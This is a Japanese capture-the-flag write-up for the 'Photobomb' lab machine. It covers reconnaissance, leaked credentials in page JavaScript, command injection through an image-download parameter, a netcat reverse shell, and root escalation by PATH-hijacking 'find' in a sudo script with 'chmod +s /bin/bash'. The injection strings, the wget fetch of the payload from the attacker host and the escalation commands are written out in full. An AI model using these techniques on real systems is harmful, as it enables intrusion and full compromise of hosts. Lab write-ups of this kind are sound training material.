まえがき
Machine Info
Name: Photobomb
IP Address: 10.10.11.182
OS: Linux
🐧
Recon
Port Scan - Nmap
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nmap 10.10.11.182 -Pn -v -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-27 15:57 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating SYN Stealth Scan at 15:57
Scanning photobomb.htb (10.10.11.182) [1000 ports]
Discovered open port 22/tcp on 10.10.11.182
Discovered open port 80/tcp on 10.10.11.182
Completed SYN Stealth Scan at 15:57, 2.66s elapsed (1000 total ports)
Initiating Service scan at 15:57
Scanning 2 services on photobomb.htb (10.10.11.182)
Completed Service scan at 15:57, 6.55s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #2) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #3) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #4) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #5) against photobomb.htb (10.10.11.182)
Initiating Traceroute at 15:57
Completed Traceroute at 15:57, 0.28s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.05s elapsed
NSE: Script scanning 10.10.11.182.
Initiating NSE at 15:57
Completed NSE at 15:58, 9.52s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 1.23s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Photobomb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/27%OT=22%CT=1%CU=38596%PV=Y%DS=2%DC=T%G=Y%TM=658
OS:BCB00%P=aarch64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10F%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%
OS:O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)
Uptime guess: 16.641 days (since Mon Dec 11 00:35:28 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 270.58 ms 10.10.14.1
2 270.93 ms photobomb.htb (10.10.11.182)
NSE: Script Post-scanning.
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds
Raw packets sent: 1121 (53.374KB) | Rcvd: 1082 (46.782KB)
22番と80番のポートが開いていることがわかる。
Name Resolution
名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく。
10.10.11.182 photobomb.htb
Site - photobomb.htb
click here!
も確認してみる。
Enumeration
他に見落としがないか確認していく。
dirsearch
──(kali㉿kali)-[~/Desktop/work]
└─$ dirsearch -u http://photobomb.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/work/reports/http_photobomb.htb/_23-12-24_14-14-59.txt
Target: http://photobomb.htb/
[14:14:59] Starting:
[14:16:15] 200 - 11KB - /favicon.ico
[14:16:48] 401 - 590B - /printer
Task Completed
あまり注目すべき階層はなかったようだ。
photobomb.htb/printer
の調査に戻ることにしよう。
photobomb.htb/printer
Recon - Burp
BurpSuite
BurpSuiteを立ち上げて、調査を進める。
admin:admin
で試してみるも、失敗。
basic認証でBase64エンコーディングでエンコードされる。
リクエストを辿っていると、こんな興味深いものを見つけた。
Response
部分の以下の部分に注目だ。
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
このことからCookie存在下で、Jamesonが技術サポートのために資格情報を自動的に設定するようになっている。
今回の場合、pH0t0
とb0Mb!
でユーザー名とパスワードの形式を取っている。
pH0t0:b0Mb!
で再度ログインを試してみよう。
成功。
どうやらこのページでは、任意の写真
・形式
・サイズ
を選択して、画像をダウンロードすることができるらしい。
Identification of Vulnerbility
脆弱性がある可能性があるため、特定していこう。
Exiftool
┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg
ExifTool Version Number : 12.67
File Name : voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg
Directory : .
File Size : 273 kB
File Modification Date/Time : 2023:12:24 14:42:20+09:00
File Access Date/Time : 2023:12:24 14:42:23+09:00
File Inode Change Date/Time : 2023:12:24 14:42:20+09:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Profile CMM Type : Little CMS
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2012:01:25 03:41:57
Profile File Signature : acsp
Primary Platform : Apple Computer Inc.
CMM Flags : Not Embedded, Independent
Device Manufacturer :
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Little CMS
Profile ID : 0
Profile Description : c2
Profile Copyright : IX
Media White Point : 0.9642 1 0.82491
Media Black Point : 0.01205 0.0125 0.01031
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Red Tone Reproduction Curve : (Binary data 64 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 64 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 64 bytes, use -b option to extract)
Image Width : 3000
Image Height : 2000
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 3000x2000
Megapixels : 6.0
ダウンロードした画像をExiftoolで確認してみるも、特に有益な情報は手に入らなかった。
Analyzing Downloaded Files with Burp
ダウンロード時のリクエストだ。(Intercept→Repeaterで確認しよう)
photo
・filetype
・dimentions
部分でバリデーションができそうだと予想がつく。
Several approaches to validation
まず各パラメータに
;
を入力した時のレスポンスを確認。
Sourse photo does not exist.
とレスポンスが返ってきた。
そもそもphoto名を改変して何かできることはなさそう。
② filetype
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg
とレスポンスが返ってきた。
③ dimentions
Invalid dimensions.
とレスポンスが返ってきた。
次に自分に向けて
ping
をおくってみる。
トラフィックをキャプチャしておく事前準備をしておく。
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
これで準備はおk。
前述したように、そもそもphoto名が違うとリクエストがその時点で弾かれそうなのでfiletype
から調査していく。
② filetype
filetype
のパラメータ部分にpingコマンドを入力。(エンコーディングを忘れずに)
;ping+10.10.14.4+-c+3 #回数はお好みで;)
③ dimentions
念の為にこちらのパラメータでも試しておく。
返ってこない。ダメっぽい😇
Exploit the Vulnerbility - CMD injection
ping
の検証からCommand Injectionの脆弱性を発見した。
さて、Reverse Shellを送り込むようにしよう。
Establishing a Reverse Shell
このページを参考にして、Reverse Shellを作っていく。
IP部分はip aコマンド等で確認しておく。【tun0】
リスナーもたてておく。
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.182] 37312
成功。
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.182] 41754
wizard@photobomb:~/photobomb$ whoami
whoami
wizard
Analysis & Recon
色々探索👀...
wizard@photobomb:~/photobomb$ cd
cd
wizard@photobomb:~$ ls -lta
ls -lta
total 44
drwxrwxr-x 6 wizard wizard 4096 Dec 30 17:34 photobomb
-rw-r----- 1 root wizard 33 Dec 30 11:58 user.txt
drwx------ 3 wizard wizard 4096 Sep 16 2022 .gnupg
drwxr-xr-x 3 root root 4096 Sep 16 2022 ..
drwxrwxr-x 4 wizard wizard 4096 Sep 16 2022 .gem
drwx------ 2 wizard wizard 4096 Sep 16 2022 .cache
drwxr-xr-x 7 wizard wizard 4096 Sep 16 2022 .
drwxrwxr-x 3 wizard wizard 4096 Sep 16 2022 .local
lrwxrwxrwx 1 wizard wizard 9 Mar 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 wizard wizard 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 wizard wizard 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 wizard wizard 807 Feb 25 2020 .profile
wizard@photobomb:~$ cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag
user.txt
を発見。
Privilege Escalation
wizard
の実行可能権限を確認する。
wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
/opt/cleanup.sh
が実行できる。
Exploiting cleanup.sh
cleanup.sh
の中身を確認してみよう。
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
find
部分に注目だ。絶対パスで指定されていない。
相対パスで指定されていない場合、特定のバイナリやファイルが異なる場所から呼び出されてしまう可能性がある。
即ち、予期していないバイナリが実行される可能性があるということだ。この脆弱性を悪用していく。
ここら辺のことが理解するのが難しいのであれば、以下を参考にするといい。
find
というファイルを作成して、権限昇格用のコマンドを書き込んでおく。
chmod +s /bin/bash
次にサーバをたてておく。(findを作った同じ階層で)
┌──(kali㉿kali)-[~/Desktop/work]
└─$ python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...
ターゲットマシンでwgetを実行しfind
を手にいれる。(/tmp階層)
wizard@photobomb:/tmp$ wget http://10.10.14.4/find
wget http://10.10.14.4/find
--2023-12-25 06:05:55-- http://10.10.14.4/find
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 70440 (69K) [application/octet-stream]
Saving to: ‘find’
find 100%[===================>] 68.79K 111KB/s in 0.6s
2023-12-25 06:05:57 (111 KB/s) - ‘find’ saved [70440/70440]
find
に実行権限がついていないため、つけておく。
wizard@photobomb:/tmp$ ls -lta
ls -lta
total 124
drwxrwxrwt 13 root root 4096 Dec 25 06:31 .
-rw-r--r-- 1 wizard wizard 70536 Dec 25 06:30 find
drwx------ 2 wizard wizard 4096 Dec 25 02:45 tmux-1000
drwx------ 2 root root 4096 Dec 25 02:33 vmware-root_670-2722828838
drwx------ 3 root root 4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-resolved.service-aHi1Ii
drwx------ 3 root root 4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-ModemManager.service-NQyZ0g
drwx------ 3 root root 4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-logind.service-3PWRBh
drwx------ 3 root root 4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-timesyncd.service-1Yrofg
drwxrwxrwt 2 root root 4096 Dec 25 02:32 .font-unix
drwxrwxrwt 2 root root 4096 Dec 25 02:32 .ICE-unix
drwxrwxrwt 2 root root 4096 Dec 25 02:32 .Test-unix
drwxrwxrwt 2 root root 4096 Dec 25 02:32 .X11-unix
drwxrwxrwt 2 root root 4096 Dec 25 02:32 .XIM-unix
drwxr-xr-x 18 root root 4096 Sep 16 2022 ..
wizard@photobomb:/tmp$ chmod +x find
次にprintenv
でPathの優先順位を確認しておく。
wizard@photobomb:~/photobomb$ printenv
printenv
SHELL=/bin/bash
PWD=/home/wizard/photobomb
LOGNAME=wizard
HOME=/home/wizard
LANG=en_US.UTF-8
LS_COLORS=
INVOCATION_ID=a92aca81d2b0475295484a74d88e3638
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=wizard
SHLVL=4
JOURNAL_STREAM=9:32066
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/tmp
_=/usr/bin/printenv
PATH
のところに注目すると、今現在のPathの優先順位はusr
から降順となっている。
ここら辺のところがまだわからない人は、こちらの記事をぜひ参考にするのがいい。
cleanup.sh
を実行させる時と同時にPathを追加(wgetで得たfind
がある階層/tmp
)させておく。
(Path追加と実行を別々にやるのはNG。)
wizard@photobomb:~/photobomb$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:~/photobomb$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
bash -p
で特権モードで起動。
wizard@photobomb:~/photobomb$ bash -p
bash -p
bash-5.0# id
id
uid=1000(wizard) gid=1000(wizard) euid=0(root) egid=0(root) groups=0(root),1000(wizard)
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
root.txt
bash-5.0# cat root.txt
cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag
Root Flagも見つけられることが出来た。
あとがき
今回は主にコマンドインジェクション・フルパスでの設定不足の脆弱性が挙げられた。
rootで実行されるコマンドでの相対パスの設定はあまりよくないため、絶対パスでの指定をしておきましょう。